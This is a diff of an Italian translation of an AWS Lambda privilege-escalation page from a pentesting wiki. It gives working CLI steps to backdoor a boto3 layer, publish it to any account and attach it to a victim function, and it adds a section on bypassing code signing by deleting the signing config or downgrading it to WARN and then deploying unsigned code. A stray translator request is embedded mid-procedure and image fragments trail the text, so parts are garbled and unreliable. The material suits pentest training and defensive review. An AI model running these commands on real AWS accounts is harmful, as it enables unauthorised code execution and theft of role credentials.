-È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda andrà a importare.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro.
+È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere una **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, puoi individuarla facilmente; nota inoltre che potrebbe essere possibile che la lambda stia **già usando un layer** e potresti **scaricare** il layer e **inserirci il tuo codice**.
-Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
+Per esempio, supponiamo che la lambda stia usando la libreria boto3; questo creerà un layer locale con l'ultima versione della libreria:
```bash
pip3 install -t ./lambda_layer boto3
```
-Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio).
+Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per exfiltrate credentials o ottenere una reverse shell, per esempio).
-Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo layer lambda** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\
-Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:**
+Poi, zippa la directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello della vittima, ma potresti non avere i permessi per questo).\
+Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** usata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
-Ora, rendi il layer lambda **accessibile da qualsiasi account**:
+Ora rendi il lambda layer caricato **accessibile da qualsiasi account**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
-E allega il layer lambda alla funzione lambda della vittima:
+E allega il lambda layer alla funzione lambda vittima:
```bash
aws lambda update-function-configuration \
--function-name \
--layers arn:aws:lambda:::layer:boto3:1 \
--timeout 300 #5min for rev shells
```
-Il passo successivo sarebbe **invocare la funzione** noi stessi se possiamo o aspettare che **venga invocata** con mezzi normali, che è il metodo più sicuro.
+Il passo successivo sarebbe o **invocare la funzione** noi stessi se possiamo oppure aspettare che **venga invocata** con mezzi normali — che è il metodo più sicuro.
-Un **modo più furtivo per sfruttare questa vulnerabilità** può essere trovato in:
+Un modo **più furtivo per sfruttare questa vulnerabilità** si trova in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
-**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
+**Impatto potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
-Forse con quei permessi sei in grado di creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se lo fai!
+Forse con quei permessi puoi creare una funzione ed eseguirla chiamando l'URL... però non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se ci riesci!
### Lambda MitM
-Alcuni lambda riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in uno di essi, puoi esfiltrare le informazioni che altri utenti stanno inviando, controlla in:
+Alcune lambdas riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in una di esse, puoi esfiltrare le informazioni che altri utenti le inviano; controlla in:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -256,3 +256,62 @@ Alcuni lambda riceveranno **informazioni sensibili dagli utenti nei parametri.**
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
+
+
+
+
+### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass del Code Signing di Lambda
+
+Se una funzione Lambda applica il code signing, un attaccante che può rimuovere la Code Signing Config (CSC) o downgradarla a Warn può distribuire codice non firmato nella funzione. Questo bypassa le protezioni di integrità senza modificare il ruolo IAM della funzione o i trigger.
+
+Permessi (uno dei seguenti):
+- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
+
+Note:
+- Per il Path B, non serve un profilo AWS Signer se la policy CSC è impostata su `WARN` (artefatti non firmati consentiti).
+
+Passaggi (REGION=us-east-1, TARGET_FN=):
+
+Prepara un piccolo payload:
+```bash
+cat > handler.py <<'PY'
+import os, json
+def lambda_handler(event, context):
+return {"pwn": True, "env": list(os.environ)[:6]}
+PY
+zip backdoor.zip handler.py
+```
+Percorso A) Rimuovi CSC poi aggiorna il codice:
+```bash
+aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
+if [ "$HAS_CSC" -eq 1 ]; then
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
+fi
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Percorso B) Ridurre il livello a Warn e aggiornare il codice (se l'eliminazione non è consentita):
+```bash
+CSC_ARN=$(aws lambda create-code-signing-config \
+--description ht-warn-csc \
+--code-signing-policies UntrustedArtifactOnDeployment=WARN \
+--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
+aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
+# If the handler name changed, also run:
+aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
+```
+Per favore fornisci il contenuto del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md che vuoi tradurre o specifica esattamente cosa devo verificare.
+```bash
+aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
+cat /tmp/out.json
+```
+Impatto potenziale: Capacità di caricare ed eseguire codice arbitrario non firmato in una funzione che avrebbe dovuto imporre deployment firmati, potenzialmente portando all'esecuzione di codice con i permessi del ruolo della funzione.
+
+Pulizia:
+```bash
+aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
+```
+
.png)
.png)